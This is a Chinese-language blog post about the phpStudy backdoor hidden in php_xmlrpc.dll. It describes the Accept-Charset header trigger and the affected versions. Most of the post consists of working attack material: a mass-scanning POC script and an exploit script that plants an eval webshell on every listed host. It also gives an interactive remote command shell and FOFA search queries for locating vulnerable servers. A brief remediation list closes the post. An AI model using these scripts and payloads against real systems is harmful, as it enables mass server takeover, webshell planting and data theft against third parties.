miruier

一、漏洞描述

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer

多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。

正是这样一款公益性软件,2018年12月4日,西湖区**网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据 回传大量敏感信息。

 

 

二、后门漏洞影响版本

phpStudy2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

 

 

三、漏洞危害

风险等级:高

风险危害:

1.获取服务器权限

2.写入webshell

 

 

四、后门漏洞复现流程

Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64编码)

 

注意:

Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗号后面这个空格需要删除,否则无回显

payload也就是我们的php代码,构造要经过base64编码过后再放入

 

复现过程:

 

抓取URL请求包,首页即可

然后发送到 Repeater模块测试

这里可以看见前面所说的gzip逗号后面的空格没有删掉

再者Accept-Charset需要自己构造

 

我们构造一个 system('whoami'); base64编码过后的然后发送过去测试

这里可以看见,执行了whoami

接下来编写我们的 批量POC、EXP、交互shell

 

 

五、 Python编写批量POC、EXP、交互shell

 

批量POC:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白纸书生
# @FileName: phpstudy_poc.py

import requests

def POC(url):
	headers = {
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
		'Accept-Encoding': 'gzip,deflate',
		'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7'
	}
	try:
		response = requests.get(url=url,headers=headers,timeout=3)
		print(url)
		if response.status_code == 200:
			if "\"local<****>host\"" in response.text:
				print('存在phpstudy后门漏洞------------',url)
				return
			else:
				return
	except:
		return


if __name__ == '__main__':

	for url in open(r'urls.txt'):
		POC(url)

  

 

EXP:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白纸书生
# @FileName: phpstudy_exp.py

import requests

def EXP(url):
	headers = {
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
		'Accept-Encoding': 'gzip,deflate',
		'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
	}
	try:
		response = requests.get(url=url,headers=headers,timeout=3)
		if response.status_code == 200:
			print('Success------------',url+"shell.php")
	except:
		return


if __name__ == '__main__':

	for url in open(r'urls.txt'):
		EXP(url)

  

exp这里的payload是写入webshell

payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');

通过$_SERVER['DOCUMENT_ROOT'] 获取网站根目录再写入。

 

 

交互shell:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白纸书生
# @FileName: phpstudy_shell.py

import requests
import re
import base64

def SHELL(url):
	try:
		while 1:
			shell = input(">>>")
			shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";"
			headers = {
				'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
				'Accept-Encoding': 'gzip,deflate',
				'Accept-Charset': base64.b64encode(shell.encode()).decode()
			}
			response = requests.get(url=url,headers=headers,timeout=3)
			text = re.findall(r"abds(.+?)abds",response.text,re.S)
			print(text[0])
			if shell == "0":
				return
	except:
		print("异常")


if __name__ == '__main__':
	url = 'http://localhost/'
	SHELL(url)

 

回显通过php的echo "abds"; 包裹着 也就是命令被两个字符串包裹着,然后我们通过python正则把它从abds中间提取出来即可

测试结果:

 

六、通过网络空间引擎批量搜索

这里采用fofa

构造通过返回的server

 

server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"

 


感觉准确率不够高的话,可以再加个php探针做限制

 

七、后门漏洞修复方式

1.更新phpstudy

2.手动删除该dll文件

3.采用火绒等杀毒软件查杀

 

相关文章: